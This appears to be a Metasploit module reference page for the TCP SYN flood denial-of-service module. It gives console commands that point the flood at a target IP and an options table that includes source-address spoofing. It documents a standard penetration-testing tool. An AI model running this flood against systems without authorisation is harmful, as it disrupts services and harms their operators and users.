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TCP SYN Flooder
A simple TCP SYN flooder
Rank
- Normal
Authors
- kris katterjohn < katterjohn [at] gmail.com >
Development
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Usage Information
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msf > use auxiliary/dos/tcp/synflood
msf auxiliary(synflood) > set RHOST [TARGET IP]
msf auxiliary(synflood) > run
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msf > use auxiliary/dos/tcp/synflood
msf auxiliary(synflood) > set RHOST [TARGET IP]
msf auxiliary(synflood) > run
Module Options
| INTERFACE | The name of the interface |
| NUM | Number of SYNs to send (else unlimited) |
| RHOST | The target address |
| RPORT | The target port (default: 80) |
| SHOST | The spoofable source address (else randomizes) |
| SNAPLEN | The number of bytes to capture (default: 65535) |
| SPORT | The source port (else randomizes) |
| TIMEOUT | The number of seconds to wait for new data (default: 500) |
| GATEWAY | The gateway IP address. This will be used rather than a random remote address for the UDP probe, if set. |
| NETMASK | The local network mask. This is used to decide if an address is in the local network. |
| UDP_SECRET | The 32-bit cookie for UDP probe requests. |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
